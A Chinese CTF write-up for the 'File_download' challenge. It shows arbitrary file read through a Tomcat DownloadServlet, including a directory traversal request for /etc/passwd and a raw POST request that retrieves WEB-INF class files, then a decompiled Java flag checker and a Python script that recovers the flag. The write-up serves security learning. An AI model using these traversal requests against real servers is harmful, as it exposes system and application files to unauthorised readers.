任意文件读取 + java逆向 -- File_download sqctf WP
题目描述:出题人疯了,老是念叨着什么茶买袄
可以登录,先看看help
# get or post filename to /DownloadServlet ?
可以在此处下载任意文件
/DownloadServlet?filename=
我应该首先尝试目录穿越
/DownloadServlet?filename=../../../../../etc/passwd
没有权限?
**类型** 异常报告
**描述** 服务器遇到一个意外的情况,阻止它完成请求。
**例外情况**
java.lang.NullPointerException
java.io.File.<init>(File.java:279)
com.ctf.file.DownloadServlet.doGet(DownloadServlet.java:22)
javax.servlet.http.HttpServlet.service(HttpServlet.java:529)
javax.servlet.http.HttpServlet.service(HttpServlet.java:623)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
**):注意** 主要问题的全部 stack 信息可以在 server logs 里查看
Apache Tomcat/9.0.96
我应该尝试读取server logs, 问一下ai路径
?filename=/usr/local/tomcat/logs/catalina.out
读一下
/DownloadServlet?filename=/WEB-INF/classes/com/ctf/file/DownloadServlet.class
Class 文件无法直接显示,请下载后查看。
失败,茶买袄是什么?XML?,再问问ai
/DownloadServlet?filename=/WEB-INF/web.xml
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5">
<display-name>JavaTest2</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.ctf.file.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagManager</servlet-name>
<servlet-class>com.ctf.flag.FlagManager</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagManager</servlet-name>
<url-pattern>/FlagManager</url-pattern>
</servlet-mapping>
</web-app>
/DownloadServlet?filename=index.jsp
<%--
Created by IntelliJ IDEA.
User: yuzhenzhao
Date: 2025/2/19
Time: 11:50
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>登录页面</title>
</head>
<body>
<%
// 获取请求参数
String username = request.getParameter("username");
String password = request.getParameter("password");
// 检查是否提交了表单
if ("POST".equalsIgnoreCase(request.getMethod()) && username != null && password != null) {
// 不论输入什么用户名和密码,都返回登录失败的提示
out.println("<h1 style='color: red;'>登录失败,请检查用户名和密码。</h1>");
}
%>
<!-- 登录表单 -->
<form action="index.jsp" method="post">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
<!-- 隐藏表单 -->
<form id="helpForm" action="Download" method="get" style="display:none;">
<input type="text" name="filename" value="help.docx">
</form>
<!-- 超链接指向 help.jsp -->
<a href="help.jsp" target="_blank">help.txt?</a>
</body>
</html>
/DownloadServlet?filename=help.jsp
<%--
Created by IntelliJ IDEA.
User: yuzhenzhao
Date: 2025/2/19
Time: 23:34
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Help</title>
</head>
<body>
<h1>get or post filename to /DownloadServlet ?</h1>
</body>
</html>
/DownloadServlet?filename=index.html
都没啥用,再读下class
/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
Class 文件无法直接显示,请下载后查看。
试试post
POST /DownloadServlet HTTP/1.1
Host: challenge.qsnctf.com:30561
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=1378738D46CB9BD3B19BA113C677977E
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
成功
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.flag;
import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;
public class FlagManager extends HttpServlet {
public FlagManager() {
}
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}
public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList();
for(int i = 0; i < arr.length; ++i) {
int result = arr[i] + 38 ^ 48;
Resultlist.add(result);
}
int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
ArrayList<Integer> Keylist = new ArrayList();
for(int j = 0; j < key.length; ++j) {
Keylist.add(key[j]);
}
System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}
}
}
写一下RE
// 该代码是由IntelliJ IDEA从.class文件反编译而来的
// 该类是一个继承自HttpServlet的FlagManager类,主要用于处理用户输入的“flag”并与预设的密钥进行比较
package com.ctf.flag; // 定义类所在的包
import java.util.ArrayList; // 导入ArrayList类
import java.util.Scanner; // 导入Scanner类,用于获取用户输入
import javax.servlet.http.HttpServlet; // 导入HttpServlet类,用于创建Servlet
// 定义FlagManager类,继承自HttpServlet
public class FlagManager extends HttpServlet {
// 构造函数
public FlagManager() {
}
// main方法,程序的入口
public static void main(String[] args) {
// 创建Scanner对象,用于读取用户输入
Scanner sc = new Scanner(System.in);
// 提示用户输入flag
System.out.println("Please input your flag: ");
// 读取用户输入的flag(一个字符串)
String str = sc.next();
// 输出用户输入的flag
System.out.println("Your input is: ");
System.out.println(str);
// 将输入的字符串转换为字符数组
char[] stringArr = str.toCharArray();
// 调用Encrypt方法进行加密处理
Encrypt(stringArr);
}
// 加密方法,接收一个字符数组作为参数
public static void Encrypt(char[] arr) {
// 创建一个ArrayList用于存储加密后的结果
ArrayList<Integer> Resultlist = new ArrayList();
// 遍历输入的字符数组,进行加密
for(int i = 0; i < arr.length; ++i) {
// 加密规则:字符的ASCII值加38后与48进行异或运算
int result = arr[i] + 38 ^ 48;
// 将加密后的结果添加到Resultlist中
Resultlist.add(result);
}
// 定义一个预设的密钥数组,用于与加密结果进行比较
int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
// 将密钥数组转换为ArrayList,便于后续比较
ArrayList<Integer> Keylist = new ArrayList();
// 将密钥数组的每个元素添加到Keylist中
for(int j = 0; j < key.length; ++j) {
Keylist.add(key[j]);
}
// 输出加密结果的比较
System.out.println("Result: ");
// 判断加密结果是否与预设的密钥一致
if (Resultlist.equals(Keylist)) {
// 如果一致,表示加密成功
System.out.println("Congratulations! ");
} else {
// 如果不一致,表示加密失败
System.out.println("Error! ");
}
}
}
enc = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
for i in range(0, len(enc)):
enc[i] = (enc[i] ^ 48) - 38
flag = ''
for i in enc:
flag += chr(i)
print(flag)
成功